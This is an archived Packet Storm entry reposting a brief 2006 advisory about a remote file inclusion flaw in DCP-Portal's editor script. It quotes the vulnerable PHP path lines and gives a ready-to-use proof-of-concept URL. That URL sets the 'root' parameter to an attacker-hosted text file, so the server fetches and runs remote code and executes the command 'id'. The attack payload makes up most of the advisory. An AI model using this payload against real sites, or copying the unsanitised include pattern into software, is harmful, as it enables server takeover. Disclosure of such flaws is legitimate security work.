DCP-Portal.txt

2006-06-21T00:00:00
ID PACKETSTORM:47521
Type packetstorm
Reporter Andries Bruinsma
Modified 2006-06-21T00:00:00

Description

                                        
                                            `# Kurdish Security Advisory  
# irc.gigachat.net #kurdhack   
# http://www.milw0rm.com/exploits/1905  
# Editor DHTML Scripting bugz   
  
$url_path_editor = "$root_url/library/editor/";   
$abs_path_editor = "$root/library/editor/";   
  
?>  
  
Proof Of Concept   
  
http://www.site.com/[dcpath]/library/editor/editor.php?root=http://www.yourscripts.com/x.txt?cmd=id  
`